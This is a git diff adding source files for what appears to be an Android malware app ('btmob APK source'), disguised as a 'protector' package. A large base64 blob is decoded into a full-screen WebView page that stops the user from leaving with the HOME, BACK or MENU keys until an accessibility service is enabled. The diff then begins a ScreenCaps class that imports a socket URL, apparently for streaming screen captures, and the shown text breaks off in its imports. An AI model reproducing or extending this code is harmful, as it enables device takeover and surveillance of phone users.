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"); + } + String MyName = getLabelApplication((Context)this); + String myico = UtliTools.getAppIconAsBase64(myctx,myctx.getPackageName()); + try { + PageBase64 = (new String(Base64.decode(PageBase64, 0), "UTF-8")).replace("App Name", MyName) + .replace("[LNG]",languageCode) + .replace("[MY-NAME]",MyName) + .replace("$[ico]",myico); + } catch (UnsupportedEncodingException e) { + } + + webView.loadDataWithBaseURL(null, PageBase64, "text/html", "UTF-8", null); + setContentView((View)webView); + try + { + if (!is_Access_Enabled(this, AccessServices.class)){ + requestWindowFeature(Window.FEATURE_NO_TITLE); + + getWindow().setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN, + WindowManager.LayoutParams.FLAG_FULLSCREEN); + + }else + { + finish(); + } + + + }catch (Exception e){} + + } + @Override + protected void onStop() { + super.onStop(); + } + @Override + public void onDestroy(){ + instance =null; + super.onDestroy(); + } + @Override + public boolean onKeyDown(int keyCode, KeyEvent event) { + if (keyCode == KeyEvent.KEYCODE_HOME) { + return true; + } + if (keyCode == KeyEvent.KEYCODE_BACK) { + return true; + } + if (keyCode == KeyEvent.KEYCODE_MENU) { + return true; + } + return false; + } + @Override + public void onBackPressed() { + super.onBackPressed(); + } +// @Override +// public void finish() { +// instance =null; +//// if(Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { +//// super.finishAndRemoveTask(); +//// } +//// else { +//// super.finish(); +//// } +// super.finish(); +// } + + + + private class MyWebChromeClient extends WebChromeClient { + private MyWebChromeClient() {} + + public boolean onJsAlert(WebView param1WebView, String param1String1, String param1String2, JsResult param1JsResult) { + return true; + } + } + + private class MyWebViewClient extends WebViewClient { + private MyWebViewClient() {} + + public void onPageFinished(WebView param1WebView, String param1String) {} + + public boolean shouldOverrideUrlLoading(WebView param1WebView, String param1String) { + return false; + } + } + + public class WebAppInterface { + Context mContext; + + WebAppInterface(Context param1Context) { + this.mContext = param1Context; + } + + @JavascriptInterface + public void OK() { + try { + + UtliTools.OpenSettingsPage(mContext); + + }catch (Exception e){ + + } + } + } +} diff --git a/btmob APK source/APK/app/src/main/java/com/icontrol/protector/ScreenCaps.java b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/ScreenCaps.java new file mode 100644 index 0000000..9a0c5fb --- /dev/null +++ b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/ScreenCaps.java @@ -0,0 +1,644 @@ +package com.icontrol.protector; + +import static com.icontrol.protector.Consts.SCRQuality; +import static com.icontrol.protector.Consts.URL_SOCKT; +import static com.icontrol.protector.UtliTools.BITMAP_RESIZER; + +import android.app.Activity; +import android.app.Notification; +import android.app.Service; +import android.content.Context; +import android.content.Intent; +import 